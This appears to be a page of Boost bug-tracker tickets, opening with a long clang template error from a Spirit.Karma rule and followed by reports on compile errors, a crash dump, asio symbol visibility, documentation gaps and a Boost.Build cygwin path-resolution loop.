In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/phoenix/core/debug.hpp:17:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/proto/proto.hpp:12:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/proto/core.hpp:21:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/proto/fusion.hpp:22:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/include/intrinsic.hpp:11:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/sequence/intrinsic.hpp:23:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/sequence/intrinsic/swap.hpp:15:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/view/zip_view.hpp:12:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/view/zip_view/zip_view.hpp:16:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/view/zip_view/detail/begin_impl.hpp:14:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/algorithm/transformation/transform.hpp:11:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/view/transform_view/transform_view.hpp:22:
In file included from /Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/container/vector/vector10.hpp:25:
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/container/vector/vector.hpp:168:19: error:
      no matching constructor for initialization of 'std::__1::vector<char,
      std::__1::allocator<char> >'
                : elem(std::forward<U>(rhs))
                  ^    ~~~~~~~~~~~~~~~~~~~~
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/container/vector/vector.hpp:208:19: note:
      in instantiation of function template specialization
      'boost::fusion::vector_detail::store<0, std::__1::vector<char,
      std::__1::allocator<char> > >::store<std::__1::basic_string<char> &,
      void>' requested here
                : store<I, T>(forward_at_c<I>(std::forward<Sequence>(rhs)))...
                  ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/fusion/container/vector/vector.hpp:319:15: note:
      in instantiation of function template specialization
      'boost::fusion::vector_detail::vector_data<boost::fusion::detail::index_sequence<0,
      1>, std::__1::vector<char, std::__1::allocator<char> >,
      std::__1::basic_string<char> >::vector_data<foo, foo, void>' requested
      here
            : base(vector_detail::each_elem(), std::forward<Sequence>(seq))
              ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/type_traits/is_convertible.hpp:482:56: note:
      in instantiation of function template specialization
      'boost::fusion::vector<std::__1::vector<char, std::__1::allocator<char> >,
      std::__1::basic_string<char> >::vector<foo, foo, void>' requested here
struct is_convertible : public integral_constant<bool, BOOST_IS_CONVERTI...
                                                       ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/type_traits/intrinsics.hpp:214:63: note:
      expanded from macro 'BOOST_IS_CONVERTIBLE'
#     define BOOST_IS_CONVERTIBLE(T,U) __is_convertible_to(T,U)
                                                              ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/spirit/home/support/attributes.hpp:309:13: note:
      in instantiation of template class 'boost::is_convertible<foo,
      boost::fusion::vector<std::__1::vector<char, std::__1::allocator<char> >,
      std::__1::basic_string<char> > >' requested here
          : is_convertible<Attribute, Expected>
            ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/mpl/aux_/nested_type_wknd.hpp:27:7: note:
      in instantiation of template class
      'boost::spirit::traits::detail::attribute_is_compatible<boost::fusion::vector<std::__1::vector<char,
      std::__1::allocator<char> >, std::__1::basic_string<char> >, foo>'
      requested here
    : T::type
      ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/mpl/aux_/preprocessed/gcc/or.hpp:51:11: note:
      (skipping 12 contexts in backtrace; use -ftemplate-backtrace-limit=0 to
      see all)
          BOOST_MPL_AUX_NESTED_TYPE_WKND(T1)::value
          ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/mpl/aux_/nested_type_wknd.hpp:38:24: note:
      expanded from macro 'BOOST_MPL_AUX_NESTED_TYPE_WKND'
    ::boost::mpl::aux::nested_type_wknd<T> \
                       ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/function/function_template.hpp:1072:5: note:
      in instantiation of function template specialization
      'boost::function3<bool,
      boost::spirit::karma::detail::output_iterator<std::__1::back_insert_iterator<std::__1::basic_string<char>
      >, mpl_::int_<15>, boost::spirit::unused_type> &,
      boost::spirit::context<boost::fusion::cons<const foo &,
      boost::fusion::nil_>, boost::fusion::vector<> > &, const
      boost::spirit::karma::any_space<boost::spirit::char_encoding::standard>
      &>::function3<boost::spirit::karma::detail::generator_binder<boost::spirit::karma::alternative<boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::plus<boost::spirit::karma::any_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type> >,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>, boost::fusion::nil_> > > > >,
      boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::omit_directive<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, false>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, boost::fusion::nil_> > >,
      boost::fusion::nil_> > >, mpl_::bool_<false> > >' requested here
    base_type(f)
    ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/function/function_template.hpp:1125:5: note:
      in instantiation of function template specialization 'boost::function<bool
      (boost::spirit::karma::detail::output_iterator<std::__1::back_insert_iterator<std::__1::basic_string<char>
      >, mpl_::int_<15>, boost::spirit::unused_type> &,
      boost::spirit::context<boost::fusion::cons<const foo &,
      boost::fusion::nil_>, boost::fusion::vector<> > &, const
      boost::spirit::karma::any_space<boost::spirit::char_encoding::standard>
      &)>::function<boost::spirit::karma::detail::generator_binder<boost::spirit::karma::alternative<boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::plus<boost::spirit::karma::any_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type> >,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>, boost::fusion::nil_> > > > >,
      boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::omit_directive<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, false>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, boost::fusion::nil_> > >,
      boost::fusion::nil_> > >, mpl_::bool_<false> > >' requested here
    self_type(f).swap(*this);
    ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/spirit/home/karma/nonterminal/rule.hpp:192:19: note:
      in instantiation of function template specialization 'boost::function<bool
      (boost::spirit::karma::detail::output_iterator<std::__1::back_insert_iterator<std::__1::basic_string<char>
      >, mpl_::int_<15>, boost::spirit::unused_type> &,
      boost::spirit::context<boost::fusion::cons<const foo &,
      boost::fusion::nil_>, boost::fusion::vector<> > &, const
      boost::spirit::karma::any_space<boost::spirit::char_encoding::standard>
      &)>::operator=<boost::spirit::karma::detail::generator_binder<boost::spirit::karma::alternative<boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::plus<boost::spirit::karma::any_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type> >,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>,
      boost::fusion::cons<boost::spirit::karma::literal_char<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type, true>, boost::fusion::nil_> > > > >,
      boost::fusion::cons<boost::spirit::karma::sequence<boost::fusion::cons<boost::spirit::karma::omit_directive<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, false>,
      boost::fusion::cons<boost::spirit::karma::any_string<boost::spirit::char_encoding::standard,
      boost::spirit::unused_type>, boost::fusion::nil_> > >,
      boost::fusion::nil_> > >, mpl_::bool_<false> > >' requested here
            lhs.f = detail::bind_generator<Auto>(
                  ^
/Users/mcdanb/Build/ng-core-Debug/API/inc/boost/spirit/home/karma/nonterminal/rule.hpp:201:13: note:
      in instantiation of function template specialization
      'boost::spirit::karma::rule<std::__1::back_insert_iterator<std::__1::basic_string<char>
      >, foo (),
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space,
      boost::spirit::char_encoding::standard> >, 0>, boost::spirit::unused_type,
      boost::spirit::unused_type>::define<mpl_::bool_<false>,
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::bitwise_or,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::unary_plus,
      boost::proto::argsns_::list1<const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::char_,
      boost::spirit::char_encoding::standard> > &>, 1> &,
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<const char &>, 0> >, 2> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &,
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<const char &>, 0> >, 2> &, const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::subscript,
      boost::proto::argsns_::list2<const
      boost::spirit::terminal<boost::spirit::tag::skip> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &>, 2> >' requested here
            define<mpl::false_>(*this, expr, traits::matches<karma::doma...
            ^
karma-char-seq.cpp:24:13: note: in instantiation of function template
      specialization
      'boost::spirit::karma::rule<std::__1::back_insert_iterator<std::__1::basic_string<char>
      >, foo (),
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space,
      boost::spirit::char_encoding::standard> >, 0>, boost::spirit::unused_type,
      boost::spirit::unused_type>::rule<boost::proto::exprns_::expr<boost::proto::tagns_::tag::bitwise_or,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::unary_plus,
      boost::proto::argsns_::list1<const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::char_,
      boost::spirit::char_encoding::standard> > &>, 1> &,
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<const char &>, 0> >, 2> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &,
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::terminal,
      boost::proto::argsns_::term<const char &>, 0> >, 2> &, const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::shift_left,
      boost::proto::argsns_::list2<const
      boost::proto::exprns_::expr<boost::proto::tagns_::tag::subscript,
      boost::proto::argsns_::list2<const
      boost::spirit::terminal<boost::spirit::tag::skip> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &, const
      boost::spirit::terminal<boost::spirit::tag::char_code<boost::spirit::tag::string,
      boost::spirit::char_encoding::standard> > &>, 2> &>, 2> >' requested here
        =   +char_ << '(' << string << ')'
            ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:489:40: note:
      candidate constructor not viable: no known conversion from
      'std::__1::basic_string<char>' to 'const allocator_type' (aka 'const
      std::__1::allocator<char>') for 1st argument
    _LIBCPP_INLINE_VISIBILITY explicit vector(const allocator_type& __a)
                                       ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:501:14: note:
      candidate constructor not viable: no known conversion from
      'std::__1::basic_string<char>' to 'size_type' (aka 'unsigned long') for
      1st argument
    explicit vector(size_type __n);
             ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:537:5: note:
      candidate constructor not viable: no known conversion from
      'std::__1::basic_string<char>' to 'initializer_list<value_type>' (aka
      'initializer_list<char>') for 1st argument
    vector(initializer_list<value_type> __il);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:549:5: note:
      candidate constructor not viable: no known conversion from
      'std::__1::basic_string<char>' to 'const std::__1::vector<char,
      std::__1::allocator<char> >' for 1st argument
    vector(const vector& __x);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:555:5: note:
      candidate constructor not viable: no known conversion from
      'std::__1::basic_string<char>' to 'std::__1::vector<char,
      std::__1::allocator<char> >' for 1st argument
    vector(vector&& __x)
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:508:9: note:
      candidate constructor template not viable: requires 2 arguments, but 1 was
      provided
        vector(_InputIterator __first,
        ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:516:9: note:
      candidate constructor template not viable: requires at least 3 arguments,
      but 1 was provided
        vector(_InputIterator __first, _InputIterator __last, const allo...
        ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:523:9: note:
      candidate constructor template not viable: requires 2 arguments, but 1 was
      provided
        vector(_ForwardIterator __first,
        ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:530:9: note:
      candidate constructor template not viable: requires at least 3 arguments,
      but 1 was provided
        vector(_ForwardIterator __first, _ForwardIterator __last, const ...
        ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:483:5: note:
      candidate constructor not viable: requires 0 arguments, but 1 was provided
    vector() _NOEXCEPT_(is_nothrow_default_constructible<allocator_type>::value)
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:503:14: note:
      candidate constructor not viable: requires 2 arguments, but 1 was provided
    explicit vector(size_type __n, const allocator_type& __a);
             ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:505:5: note:
      candidate constructor not viable: requires 2 arguments, but 1 was provided
    vector(size_type __n, const_reference __x);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:539:5: note:
      candidate constructor not viable: requires 2 arguments, but 1 was provided
    vector(initializer_list<value_type> __il, const allocator_type& __a);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:550:5: note:
      candidate constructor not viable: requires 2 arguments, but 1 was provided
    vector(const vector& __x, const allocator_type& __a);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:562:5: note:
      candidate constructor not viable: requires 2 arguments, but 1 was provided
    vector(vector&& __x, const allocator_type& __a);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/vector:506:5: note:
      candidate constructor not viable: requires 3 arguments, but 1 was provided
    vector(size_type __n, const_reference __x, const allocator_type& __a);
    ^
1 error generated.

The problem construct appears to be +char_. The error goes away if it is replaced with string; but the error also goes away if the alternative is removed from the rule.

This code worked fine with the Boost.Spirit.Karma included with Boost 1.62.0.

#12729: crash

anonymous — Thu, 05 Jan 2017 13:06:39 GMT

I find a crash:

1.Operating system: Android 0.0.0 Linux 3.10.0

2.CPU: arm ARMv7 ARM part(0x4100c070) features: swp,half,thumb,fastmult,vfpv2,edsp,neon,vfpv3,tls,vfpv4,idiva,idivt 4 CPUs

3.code:

void my_thread_sleep(int millisec)

{ try{boost::thread::sleep(boost::get_system_time() + boost::posix_time::millisec(millisec));}

catch (boost::thread_interrupted& e){(void)e;} catch (...){}

}

thread do:

for(;;) { my_thread_sleep(5000); }

4.googlebreak dump: Thread 33 (crashed)

0 libc.so + 0x1d980

r0 = 0x586e21b8 r1 = 0x00000000 r2 = 0x00000000 r3 = 0x66ebd65c r4 = 0x66ebd65c r5 = 0x00000000 r6 = 0x66ebd65c r7 = 0x66ebd688 r8 = 0x586e21b8 r9 = 0x66ebd6b8 r10 = 0x0007ef31 r12 = 0xfffd0fa8 fp = 0x66ebda90 sp = 0x66ebd5b0 lr = 0x4007ba15 pc = 0x4007a980

Found by: given as instruction pointer in context

1 libc.so + 0x22ffe

sp = 0x66ebd5cc pc = 0x40080000

Found by: stack scanning

2 libc.so + 0x1ea13

sp = 0x66ebd5f0 pc = 0x4007ba15

Found by: stack scanning

3 libc.so + 0x1ebc5

sp = 0x66ebd608 pc = 0x4007bbc7

Found by: stack scanning

4 test.so!boost::date_time::microsec_clock<boost::posix_time::ptime>::create_time [microsec_time_clock.hpp : 117 + 0x15]

sp = 0x66ebd614 pc = 0x64a1102d

Found by: stack scanning

5 test.so!boost::date_time::c_time::gmtime [c_time.hpp : 85 + 0x3]

sp = 0x66ebd618 pc = 0x64a11041

Found by: stack scanning

6 test.so!boost::date_time::microsec_clock<boost::posix_time::ptime>::create_time [microsec_time_clock.hpp : 100 + 0x1]

sp = 0x66ebd638 pc = 0x64a10fa3

Found by: stack scanning

7 test.so!boost::condition_variable::do_wait_until [condition_variable.hpp : 112 + 0x3]

sp = 0x66ebd650 pc = 0x64af342d

Found by: stack scanning

8 test.so__gnu_ldivmod_helper [bpabi.c : 41 + 0x2]

sp = 0x66ebd680 pc = 0x64b9d29c

Found by: stack scanning

9 test.so__aeabi_ldivmod + 0x32

r3 = 0x00000000 r4 = 0x00000006 r5 = 0x586e21b8 r6 = 0x586e21b8 r7 = 0x0009e94d sp = 0x66ebd698 pc = 0x64b9d110

Found by: call frame info

10 0x26

r4 = 0x00000006 r5 = 0x586e21b8 r6 = 0x586e21b8 r7 = 0x0009e94d sp = 0x66ebd6a8 pc = 0x00000028

Found by: call frame info

11 test.so!my_thread_sleep [microsec_time_clock.hpp : 76 + 0x11]

#12726: compilation errors for iOS API

support@… — Thu, 05 Jan 2017 05:46:17 GMT

Hello,

bind seems to be broken.

i tried to use xcode 8.2.1 (8C1002) compile bind.hpp to app, it reports error below:

/usr/local/include/boost/operators.hpp:799:1: Declaration of anonymous class must be a definition /usr/local/include/boost/operators.hpp:799:1: A non-type template parameter cannot have type 'class B' /usr/local/include/boost/operators.hpp:799:1: Template argument for template type parameter must be a type

after remove below line, it works well BOOST_OPERATOR_TEMPLATE4(random_access_iteratable)

Can anybody confirm this behaviour?

Operating system: OS X 10.12.2 Boost compiled using Apple LLVM 8.0

Thanks

#12725: boost::geometry::distance compile errors with 3D segment primitives

Thu, 05 Jan 2017 00:33:45 GMT

When trying to calculate the nearest segment from another segment in a 3-dimensional space using the boost::geometry::index::nearest query on a boost:: boost::geometry::index::rtree but I get the following compilation error on VS2010:

> error C2664: 'boost::mpl::assertion_failed' : cannot convert parameter
> 1 from 'boost::mpl::failed ************(__cdecl
> boost::geometry::nyi::not_implemented_error<Term1,Term2,Term3>::THIS_OPERATION_IS_NOT_OR_NOT_YET_IMPLEMENTED::*
> ***********)(boost::mpl::assert_::types<T1,T2,T3>)' to 'boost::mpl::assert<false>::type'

I have managed to narrow down the same issue to using just the boost::geometry::distance function:

    typedef boost::geometry::model::point <float, 3, boost::geometry::cs::cartesian> point;
    typedef boost::geometry::model::segment <point> segment;
    point pa = point(x1, y1, z1);
    point pc = point(x2, y2, z2);
    point pb = point(x3, y3, z3);
    float dist = boost::geometry::distance(segment(pa, pb), segment(pa, pc));

According to the documentation of the version of Boost I'm using (1.60) this should be supported, however it works just fine when using two dimensions.

http://www.boost.org/doc/libs/1_60_0/libs/geometry/doc/html/geometry/reference/algorithms/distance/distance_2.html#geometry.reference.algorithms.distance.distance_2.supported_geometries

I could not find anything in the docs either about how to extend the functionality or whether it's possible at all and could not find any relevant changes regarding this issue since this version.

Is this a bug or something in the roadmap that hasn't yet been addressed?

http://stackoverflow.com/questions/41453792/boostgeometrydistance-compile-errors-with-3d-primitives

#12723: ./boost/mpi/detail/mpi_datatype_primitive.hpp:28:51: fatal error: boost/serialization/detail/get_data.hpp: No such file or directory

nico.schloemer@… — Wed, 04 Jan 2017 22:33:42 GMT

When compiling Boost from master, I'm getting

./boost/mpi/detail/mpi_datatype_primitive.hpp:28:51: fatal error: boost/serialization/detail/get_data.hpp: No such file or directory

#include <boost/serialization/detail/get_data.hpp>

(see [1]).

Indeed, there doesn't seem to be a get_data.hpp in the serialization package (anymore?).

[1] https://launchpadlibrarian.net/301233079/buildlog_ubuntu-yakkety-amd64.boost1.63_1.63.0~20170104224508-03db8ee4-1yakkety1_BUILDING.txt.gz

#12722: asio visibility pragmas bloat .dynstr segment

mzeren@… — Wed, 04 Jan 2017 18:05:19 GMT

We have a dynamic library that uses asio internally. It does not use asio in its public API. We compile this library with -fvisibility=hidden. When upgrading from boost 1.55 to 1.61 we noticed about 100K worth of asio symbols being added to the .dynstr segment of this library. This is an unacceptable increase for our system.

After some research we found that this is due to:

commit: 382804a4325b0e3b90d07f6563f5c6fd13a38052
Author: Christopher Kohlhoff chris@kohlhoff.com
Date:   Sat Mar 21 00:28:43 2015
-----
Use default visibility everywhere.
-----
M       include/boost/asio/detail/pop_options.hpp
M       include/boost/asio/detail/push_options.hpp
M       include/boost/asio/detail/service_registry.hpp

Which added #pragma GCC visibility push (default). Unfortunately the pragma overrides our -fvisibility command line argument. This patch first appears in Boost 1.58.

To use gcc visibility correctly asio should adopt the standard macro idiom described in https://gcc.gnu.org/wiki/Visibility.

#12721: intrusive key_of_value requires value to be returned by reference

Mathias Gaunard — Wed, 04 Jan 2017 10:03:06 GMT

key_of_value requires the key to be returned by reference, this is an unnecessary limitation and prevents using types which return the key by value through an accessor. If the type is returned by value, one will get a warning about returning a reference to a local variable.

#12718: LD_LIBRARY_PATH shouldn't be applied to touch command

Fri, 30 Dec 2016 13:29:53 GMT

What causes problem is this line: https://github.com/boostorg/build/blob/09b6788/src/tools/gcc.jam#L228

The line adds the lib directories of custom toolchain to LD_LIBRARY_PATH before running: some-binary-built-by-boost.build && touch some-file.passed

For my case, it causes problem because my custom toolchain comes with a newer version of glibc. It has no problem running the binary under the modified LD_LIBRARY_PATH, but touch command complains about the new glibc.

Logically speaking, only the first part requires the new LD_LIBRARY_PATH, while the touch command is pre-installed so it shouldn't be run under the modified LD_LIBRARY_PATH.

#12717: Incomplete documentation of boost::lockfree::queue::queue

pmoran@… — Thu, 29 Dec 2016 18:13:56 GMT

boost::lockfree::queue::queue(void) can only be called if if boost::lockfree::capacity was specified (as enforced by the BOOST_ASSERT in include/boost/lockfree/queue.hpp line 179. However this requirement is not enforced in a non-debug build and it is not mentioned in the documentation for boost::lockfree::queue::queue(void).

The same thing is true of boost::lockfree::queue::queue(allocator const &) in include/boost/lockfree/queue.hpp line 198 and of boost::lockfree::queue::queue(size_type) in include/boost/lockfree/queue.hpp line 210.

I think these restrictions should be included in the documentation. The docs would lead me to believe that one could write

void some_function() {
  boost::lockfree::queue<int> q;
}

But if that is built in debug mode it will fail the assertion in include/boost/lockfree/queue.hpp line 179

#12716: Python link broken in "build from source" documentation

jepessen — Wed, 28 Dec 2016 12:15:44 GMT

In the "Build from source" documentation page there's a link "Boost.Python build documentation" that's broken.

#12715: nested BOOST_FOREACH: MSVC 14.0 Update 3 warning issued

timo.euler@… — Wed, 28 Dec 2016 09:16:50 GMT

Nested usage of BOOST_FOREACH issues the warnings:

warning C4456: declaration of '_foreach_col' hides previous local declaration
warning C4456: declaration of '_foreach_cur' hides previous local declaration
warning C4456: declaration of '_foreach_end' hides previous local declaration
warning C4456: declaration of '_foreach_continue' hides previous local declaration

Example code:

#include <boost/foreach.hpp>
int main() {
	std::vector<int> iv(10);
	BOOST_FOREACH(int &i, iv) {
		std::vector<int> iv2(10);
		BOOST_FOREACH(int &i2, iv2) {
			i2 = 2;
		}
		i = 1;
	}
}

#12714: boost 1.6.3 doesn't appear to be installing right

Tue, 27 Dec 2016 20:56:12 GMT

I built boost 1.6.3 using Visual Studio 2010's toolset but when it installed it made the include directory include\boost-1_63\boost instead of just include\boost as expected.

--includedir=<HDRDIR> Install header files here.

Default; <PREFIX>/include

.\b2 --prefix=X:\code\boost\boost --build-dir=X:\code\boost\tmpbuild install

that command put the includes in X:\code\boost\boost\include\boost-1_63\boost

libs installed ok

#12711: Cross-compiling with GCC on windows will hang due cygwin path resolution

kirill.erofeev@… — Fri, 23 Dec 2016 09:19:10 GMT

Recently, since release 1.61. There were changes in Boost.Build which breaks cross-compilation on windows platform with GCC toolchain.

How to reproduce

We use following user-config.jam

   using gcc : 4.9 : arm-linux-androideabi-g++.exe ;

or we tried

   using gcc : 4.9 : arm-linux-androideabi-g++.exe : <flavor>android ;

The toolchain is in %PATH%

Trying to run bjam command:

   b2 --clean-all  -d+5 variant=release

Will leads to endless loops in cygwin path resolving:

(builtin):>>>>|>>>>|>>>>|>>>>|>>>> cygwin.software-registry-value Cygnus Solutions\Cygwin\mounts v2\c:/ : native
(builtin):>>>>|>>>>|>>>>|>>>>|>>>>|> W32_GETREG HKEY_CURRENT_USER\SOFTWARE\Cygnus Solutions\Cygwin\mounts v2\c:/ : native
(builtin):>>>>|>>>>|>>>>|>>>>|>>>>|> W32_GETREG HKEY_CURRENT_USER\SOFTWARE\Wow6432node\Cygnus Solutions\Cygwin\mounts v2\c:/ : native
(builtin):>>>>|>>>>|>>>>|>>>>|>>>>|> W32_GETREG HKEY_LOCAL_MACHINE\SOFTWARE\Cygnus Solutions\Cygwin\mounts v2\c:/ : native
(builtin):>>>>|>>>>|>>>>|>>>>|>>>>|> W32_GETREG HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432node\Cygnus Solutions\Cygwin\mounts v2\c:/ : native

Under the hood

There is new rule (since Boost 1.61)

# Uses -print-prog-name to get the name of the tool.
# Converts the path to native form if using cygwin.
rule .get-prog-name ( command-string : tool : flavor ? )
{
    local prog-name = [ NORMALIZE_PATH [ MATCH "(.*)[\n]+" :
        [ SHELL "$(command-string) -print-prog-name=$(tool)" ] ] ] ;
    if $(flavor) != mingw && [ os.name ] = NT
    {
        prog-name = [ cygwin.cygwin-to-windows-path $(prog-name) ] ;
    }
    return $(prog-name) ;
}

flavor will be empty or android. And the cygwin path resolution will be triggered. Though no Cygwin is used or installed. I think this is not a good idea to trigger cygwin specific code but checking another falavor. Probably it is better to define cygwin flavor and check if $(flavor) = cygwin && [ os.name ] = NT

But why the cygwin.cygwin-to-windows-path goes to dead loop?

rule cygwin-to-windows-path ( path )
{
    path = $(path:R="") ; # strip any trailing slash
    local drive-letter = [ SUBST $(path) $(.cygwin-drive-letter-re) $1:/$2 ] ;
    if $(drive-letter)
    {
        path = $(drive-letter) ;
    }
    else if $(path:R=/x) = $(path) # already rooted?
    {
        # Look for a cygwin mount that includes each head sequence in $(path).
        local head = $(path) ;
        local tail = "" ;
        while $(head)
        {
            local root = [ software-registry-value
                "Cygnus Solutions\\Cygwin\\mounts v2\\"$(head) : native ] ;
            if $(root)
            {
                path = $(tail:R=$(root)) ;
                head = ;
            }
            tail = $(tail:R=$(head:D=)) ;
            if $(head) = /
            {
                head = ;
            }
            else
            {
                head = $(head:D) ;
            }
        }
    }
    return [ regex.replace $(path:R="") / \\ ] ;
}

path is already rooted since it starts with c:/ and $(path:R=/x) = $(path) will be true. root will be empty since not cygwin is involved. head variable will finally ends equal to c:/ but never / or empty.

Possible solutions

So as a quick solution I create a patch for cygwin.jam

boost_1_63_0/tools/build/src/tools/cygwin.jam

